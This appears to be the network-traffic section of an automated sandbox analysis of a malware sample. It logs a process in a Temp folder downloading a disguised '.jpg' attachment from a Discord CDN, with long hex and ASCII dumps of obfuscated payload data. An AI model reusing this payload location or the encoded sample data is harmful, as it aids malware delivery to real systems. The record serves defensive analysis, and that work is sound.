qOD O qqm O qqM O qOO O qOW O qOp O qJq O pE O qqW O pE O qqD O qOD O qqM O MM O qqO O qOX O qqm O qJq O qOJ O qqJ O qqq O qOJ O pE O MM O pE O qOJ O qOp O MX O qqX O qOO O pE O qqW O pE O qJq O qqM O MX O qqW O qOX O qqW O qOE O MX O qqO O qqm O pE
2021-10-29 18:10:39 UTC	1201	IN	Data Raw: 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71 71 57 20 4f 20 71 71 6d 20 4f 20 4d 58 20 4f 20 4d 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 44 20 4f 20 4d 4d 20 4f 20 71 4f 4a 20 4f 20 71 71 57 20 4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 71 71 71 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 71 4f 45 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 71 4a 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 70 45 20 Data Ascii: O MM O pE O qOM O qOE O qOX O qqD O qqW O qqm O MX O ME O qOO O pE O qqq O pE O qOX O qqE O qJO O qOD O MM O qOJ O qqW O qJO O qqD O qqm O qqq O qJO O pE O qqO O pE O qqX O qOE O qqM O MX O MX O qqM O MM O qqJ O qJJ O pE O qOJ O pE O MX O qOJ O qOO O pE
2021-10-29 18:10:39 UTC	1205	IN	Data Raw: 4d 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 71 71 4f 20 4f 20 71 4f 57 20 4f 20 71 71 45 20 4f 20 71 71 57 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4a 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 71 71 71 20 4f 20 4d 45 20 4f 20 4d 45 20 4f 20 71 4f 71 20 4f 20 4d 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 71 71 4f 20 4f 20 71 4f 45 20 4f 20 71 4f 58 20 4f 20 71 4f 70 20 4f 20 71 71 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 4f 70 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 71 4f 4a 20 4f Data Ascii: M O MM O qOW O qOq O qqW O qqJ O qOp O qqO O qOW O qqE O qqW O qOJ O pE O qOJ O pE O qOO O qqJ O qqW O MX O qqO O qqq O ME O ME O qOq O ME O qOW O pE O qOW O pE O qqm O qqO O qOE O qOX O qOp O qqO O qOM O qOp O qOW O qOp O qOM O pE O qOp O pE O MM O qOJ O
2021-10-29 18:10:39 UTC	1209	IN	Data Raw: 4f 20 4f 20 71 4a 4f 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4f 45 20 4f 20 71 4f 57 20 4f 20 71 4a 71 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 71 71 71 20 4f 20 71 4f 70 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 45 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4f 70 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 4f 4a 20 4f 20 71 4f 71 20 4f 20 71 4f 70 20 4f 20 71 71 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 4d 45 20 4f 20 71 4f 58 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 45 70 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 4d 58 20 4f 20 71 4f 6d 20 4f 20 71 Data Ascii: O O qJO O qqO O pE O qOW O pE O qOX O qOE O qOW O qJq O ME O qOp O qqq O qOp O qOO O qqX O MM O qOO O qOE O qqq O pE O qOp O pE O qJq O qOJ O qOq O qOp O qqE O qqW O pE O pJ O pE O qqW O ME O qOX O qqM O qOD O qJq O pE O Ep O pE O qqm O qqp O MX O qOm O q
2021-10-29 18:10:39 UTC	1213	IN	Data Raw: 4f 20 71 4a 4a 20 4f 20 4d 45 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 71 71 57 20 4f 20 71 71 45 20 4f 20 71 71 71 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 4d 4a 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 71 Data Ascii: O qJJ O ME O qOW O MX O pE O qOX O pE O qOX O qJO O MM O qqm O qqW O qqE O qqq O qOD O qqq O pE O qOq O pE O qqJ O qOp O qOq O qqE O pE O qqW O pE O qOD O qqE O qOO O qOD O qOW O pE O MJ O pE O qOO O qOD O qOm O qOO O qOJ O MX O qOX O qJJ O qOO O qOD O qq
2021-10-29 18:10:39 UTC	1229	IN	Data Raw: 4a 20 4f 20 71 4a 70 20 4f 20 57 4a 20 4f 20 44 58 20 4f 20 57 71 20 4f 20 57 6d 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 57 6d 20 4f 20 57 44 20 4f 20 6d 57 20 4f 20 44 4d 20 4f 20 57 71 20 4f 20 57 4f 20 4f 20 57 70 20 4f 20 6d 57 20 4f 20 6d 4d 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 44 4d 20 4f 20 6d 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 6d 4d 20 4f 20 6d 57 20 4f 20 6d 58 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 57 4f 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 6d 4d 20 4f 20 6d 58 20 4f 20 57 71 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 71 4a 57 20 4f 20 4d 4a 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 71 20 4a 71 20 44 58 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 58 20 4f 20 71 4f 71 20 4f 20 Data Ascii: J O qJp O WJ O DX O Wq O Wm O DM O WE O Wm O WD O mW O DM O Wq O WO O Wp O mW O mM O mM O DE O DM O mW O DD O EO O DE O mM O mW O mX O WD O mX O mX O WO O DD O DM O mM O mX O Wq O mM O WD O qJW O MJ O mX O mX O mX O mX O q Jq DX O qqm O qOW O qqX O qOq O
2021-10-29 18:10:39 UTC	1245	IN	Data Raw: 20 4a 20 4a 20 58 20 4a 20 4a 20 4a 20 71 70 20 4f 20 6d 20 71 45 20 71 4a 4d 20 4a 57 20 71 6d 20 71 6d 20 71 45 20 71 4a 4d 20 4a 4d 20 71 45 20 71 4a 4d 20 70 70 20 44 20 4f 20 71 20 71 6d 20 71 45 20 71 4a 4d 20 70 45 20 44 20 4f 20 71 20 71 58 20 71 4a 58 20 71 70 45 20 71 6d 20 45 20 45 20 57 20 58 20 58 20 58 20 71 4f 20 4a 20 70 20 4f 20 4f 20 58 20 4a 45 20 45 20 71 70 20 58 20 58 20 58 20 71 58 20 71 4a 4d 20 6d 57 20 71 58 20 71 4a 4d 20 6d 4d 20 71 58 20 71 4a 4d 20 57 70 20 71 58 20 71 4a 4d 20 57 45 20 4a 20 4a 20 71 58 20 71 4a 4d 20 57 70 20 71 58 20 71 4a 4d 20 57 45 20 4a 20 4a 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 6d 4d 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 57 70 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 57 45 20 6d 20 Data Ascii: J J X J J J qp O m qE qJM JW qm qm qE qJM JM qE qJM pp D O q qm qE qJM pE D O q qX qJX qpE qm E E W X X X qO J p O O X JE E qp X X X qX qJM mW qX qJM mM qX qJM Wp qX qJM WE J J qX qJM Wp qX qJM WE J J W pJ O qX qJM mM W pJ O qX qJM Wp W pJ O qX qJM WE m

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49808	162.159.133.233	443	C:\Users\user\AppData\Local\Temp\77DC.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:10:44 UTC	1254	OUT	GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:10:44 UTC	1254	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:10:44 GMT Content-Type: image/jpeg Content-Length: 406075 Connection: close CF-Ray: 6a5e5cc34bd74321-FRA Accept-Ranges: bytes Age: 835 Cache-Control: public, max-age=31536000 ETag: "4be3e6f4d4f4aa1116f6c74f532cbeb7" Expires: Sat, 29 Oct 2022 18:10:44 GMT Last-Modified: Fri, 29 Oct 2021 17:49:11 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635529751768404 x-goog-hash: crc32c=bHQJMA== x-goog-hash: md5=S+Pm9NT0qhEW9sdPUyy+tw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 406075 X-GUploader-UploadID: ADPycdtQMHGyEhnppJ8P837WdZk3TFi4GDGE6cytjZ9NP8ck3B0QplKsdro4zTxd-YyGcioOy6QRjSQ8JvbrhdjjkmE X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=po%2B0%2BWnXBj6l5K5lXZDbUx9aRTa0BY76Msql9sBv%2FJPPUr%2FJkGS%2BWoBGsA8MtNSGdFfCL%2FumlVxPQFeJAX4Fn7hFxp8a9FHXPyetwpQYDy5DM%2B7d%2FZgL3Lc4PzwhgrR5wuAbjg%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:10:44 UTC	1255	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:10:44 UTC	1255	IN	Data Raw: 43 4e 56 4c 72 59 63 4d 49 57 2d 4d 4d 20 57 43 20 4e 72 72 20 43 20 4c 20 43 20 43 20 43 20 72 20 43 20 43 20 43 20 56 59 59 20 56 59 59 20 43 20 43 20 4e 49 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 63 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 4e 56 49 20 43 20 43 20 43 20 4e 72 20 4c 4e 20 4e 49 63 20 4e 72 20 43 20 4e 49 43 20 57 20 56 43 59 20 4c 4c 20 4e 49 72 20 4e 20 4d 63 20 56 43 59 20 4c 4c 20 49 72 20 4e 43 72 20 4e 43 59 20 4e 4e 59 20 4c 56 20 4e 4e 56 20 4e 4e 72 20 4e 4e 4e 20 4e 43 4c 20 4e 4e 72 20 57 4d 20 4e 43 57 20 4c 56 20 57 57 20 57 4d 20 4e 4e 43 20 4e Data Ascii: CNVLrYcMIW-MM WC Nrr C L C C C r C C C VYY VYY C C NIr C C C C C C C cr C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C NVI C C C Nr LN NIc Nr C NIC W VCY LL NIr N Mc VCY LL Ir NCr NCY NNY LV NNV NNr NNN NCL NNr WM NCW LV WW WM NNC N
2021-10-29 18:10:44 UTC	1256	IN	Data Raw: 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 56 59 20 72 43 20 56 56 57 20 4e 43 57 20 4e 4e 59 20 59 43 20 72 49 20 59 43 20 59 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 72 63 20 4e 72 4c 20 59 43 20 72 49 20 4e 4c 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 Data Ascii: C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C VY rC VVW NCW NNY YC rI YC YC Ir NNr NNM Nrc NrL YC rI NLI Yr Ir NNr NNM NCW NNV YC NNV YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC
2021-10-29 18:10:44 UTC	1258	IN	Data Raw: 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 59 63 20 4e 49 4c 20 59 59 20 49 72 20 4e 4e 72 20 49 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 72 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 49 20 59 72 20 49 72 20 4e 49 20 57 4e 20 4c 4e 20 4c 20 63 72 20 49 4c 20 59 43 20 59 72 20 49 72 20 4e 4d 49 20 4e 4e 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 72 43 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 57 43 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 59 4c 20 4e 43 57 20 4e 4e 56 Data Ascii: N NCW NNV YC NYc NIL YY Ir NNr IY NCW NNV YC NIr YN Yr Ir NNI NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI NI Yr Ir NI WN LN L cr IL YC Yr Ir NMI NNI NCW NNV YC VrC YN Yr Ir NNI NNM NCW NNV NWC rW YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr YL NCW NNV
2021-10-29 18:10:44 UTC	1259	IN	Data Raw: 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 Data Ascii: NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC
2021-10-29 18:10:44 UTC	1260	IN	Data Raw: 4e 4e 56 20 59 63 20 4c 57 20 4c 4d 20 72 4d 20 56 4e 4d 20 72 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 56 4c 20 4c 49 20 63 72 20 59 59 20 49 72 20 4e 4e 72 20 59 20 4c 4e 20 72 4e 20 59 43 20 72 49 20 63 63 20 4d 56 20 4d 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 49 49 20 72 59 20 72 49 20 59 43 20 63 43 20 56 72 63 20 49 4d 20 57 49 20 4c 4e 20 4e 20 59 43 20 72 49 20 63 63 20 63 49 20 56 59 4e 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 4e 72 20 72 72 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 56 20 63 49 20 4e 72 4d 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 56 20 59 4c 20 72 57 20 59 43 20 4d 43 20 72 56 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 72 4d 20 59 43 20 59 72 20 57 Data Ascii: NNV Yc LW LM rM VNM rV NNM NCW NNL VL LI cr YY Ir NNr Y LN rN YC rI cc MV Mr NNr NNM NCL II rY rI YC cC Vrc IM WI LN N YC rI cc cI VYN NNr NNM VW Nr rr rI YC cC NVr NCW NNM NCW NVV Nrr VN rV cI NrM NNr NNM VW V YL rW YC MC rV NCI NNM NCW NVV Vc rM YC Yr W
2021-10-29 18:10:44 UTC	1262	IN	Data Raw: 43 4c 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4e 4e 72 20 59 43 20 72 49 20 56 59 20 49 57 20 4e 4e 56 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 59 20 4c 4c 20 59 72 20 56 43 43 20 49 56 20 4e 63 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 63 59 20 4c 43 20 59 43 20 59 72 20 57 72 20 4e 56 20 4e 4c 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 4e 20 4c 4e 20 4c 4c 20 4e 4e 72 20 4e 56 20 4e 72 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 43 63 20 59 56 20 56 4c 59 20 49 59 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 57 59 20 59 43 20 72 49 20 59 63 20 4e 57 20 56 4e 56 20 4e 72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20 59 4e 20 59 43 20 59 72 20 4e 56 4d 20 56 57 20 57 59 20 4e 43 49 20 4e 4e 56 20 59 56 20 4c 4c 20 59 59 20 4c 57 20 49 43 20 4e 72 Data Ascii: CL Ir NNr NNL cW NNr YC rI VY IW NNV NNY NNM NCM WM YY LL Yr VCC IV Ncr NNc NCW NNI cY LC YC Yr Wr NV NLW NCW NNV Yr VN LN LL NNr NV NrV NCW NNV Yr VCc YV VLY IY NNr NNY LC WY YC rI Yc NW VNV NrC NNM NCW NNc Vc YN YC Yr NVM VW WY NCI NNV YV LL YY LW IC Nr
2021-10-29 18:10:44 UTC	1263	IN	Data Raw: 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 57 43 20 4d 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 57 20 59 4c 20 4c 43 20 4e 4e 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4c 20 59 4c 20 59 72 20 63 4c 20 56 4c 59 20 4e 56 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 59 63 20 59 43 20 59 72 20 49 56 20 4e 56 63 20 4e 4e 72 20 4c 43 20 56 4e 57 20 59 43 20 72 49 20 59 56 20 4c 4d 20 49 43 20 57 57 20 4e 4e 4c 20 4e 4e 4c 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 56 56 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 4c 59 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4d 59 20 4e 43 56 20 4c 4c 20 59 4c 20 4e Data Ascii: NVV cY I YC Yr Wr WC Mc NCW NNV Yc YW YL LC NNC NNr NNM NCL WL YL Yr cL VLY NVM NNY NNM NCW NNr Vc Yc YC Yr IV NVc NNr LC VNW YC rI YV LM IC WW NNL NNL VYL NCr rI YC YY NNL NcV VVV NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI WL NLY Ir NNr NNY MY NCV LL YL N
2021-10-29 18:10:44 UTC	1264	IN	Data Raw: 20 72 49 20 59 56 20 59 72 20 49 72 20 4e 4e 72 20 4c 49 20 4e 43 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 4d 57 20 63 63 20 4e 4e 59 20 4e 43 57 20 59 56 20 72 49 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 43 43 20 4c 43 20 4d 57 20 59 43 20 72 49 20 59 63 20 63 43 20 49 63 20 4e 4e 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c 43 20 4e 72 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4c 57 20 4d 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 57 20 59 43 20 59 72 20 57 72 20 4e 56 4e 20 4e 4e 72 20 63 57 20 4d 72 20 59 43 20 72 49 20 59 63 20 56 4d 20 49 4c 20 4e 4e 63 Data Ascii: rI YV Yr Ir NNr LI NCI NNV YC NCY YN Yr Ir NNL NNM NCW NNV cN rI YC YY MW cc NNY NCW YV rI rI YC YL Ir NNr NCC LC MW YC rI Yc cC Ic NNN VrI YY NNV YC rW VL VLC NrC NNr NNM NCY II Y rI YC cC LW Mr NNM NCW NVV Vc W YC Yr Wr NVN NNr cW Mr YC rI Yc VM IL NNc
2021-10-29 18:10:44 UTC	1266	IN	Data Raw: 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 56 4e 72 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 4d 56 20 59 4e 20 72 49 20 59 56 20 4c 57 20 49 4c 20 57 57 20 4e 4e 4c 20 4e 56 72 20 4e 4e 4d 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4d 56 20 4e 63 43 20 4e 59 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 56 57 20 56 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 63 20 56 63 20 72 49 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 20 4d 72 20 Data Ascii: NNr NNM NCI IY VVc VNr YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM V MV YN rI YV LW IL WW NNL NVr NNM rY cL NWN NCI Ir NNr NNc MV NcC NYY rI YC YC NVr cW NNM NCW NVV cY I YC Yr Wr VW VNM NCW NNV YV Yc Vc rI Ir NNr NNY V Mr
2021-10-29 18:10:44 UTC	1267	IN	Data Raw: 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 4c 56 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e 57 20 4c 59 20 59 59 20 72 4c 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 59 57 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 72 59 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 72 4e 20 63 57 20 4e 4e 4d 20 4e 43 49 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 72 72 Data Ascii: NIM Nr NNr NNM NCI IY VVc NLV YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM NVc NNW LY YY rL NIM Nr NNr NNM NCI IY VVc NYW YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc rY NNV YC YI LN rN cW NNM NCI VVr rV YC rI YN NW NLV Nrr
2021-10-29 18:10:44 UTC	1268	IN	Data Raw: 20 4e 72 20 63 57 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 43 20 4c 4c 20 59 72 20 4c 59 20 59 43 20 63 57 20 4e 4e 57 20 4e 43 63 20 4e 56 43 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 59 4d 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 59 72 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4e 20 49 49 20 59 56 20 72 49 20 59 43 20 72 49 20 4c 49 20 4e 20 4e 4e 57 20 4e 43 57 20 43 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 56 57 20 4e 43 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4c 20 63 57 20 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 57 20 59 49 20 4c 4c 20 59 49 20 4c 57 20 49 43 20 57 57 20 4e 4e 56 20 4e Data Ascii: Nr cW NNY NNM NCW NCC LL Yr LY YC cW NNW NCc NVC VYL NCr rI YC YY NNL NcV NYM NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI WL NYr Ir 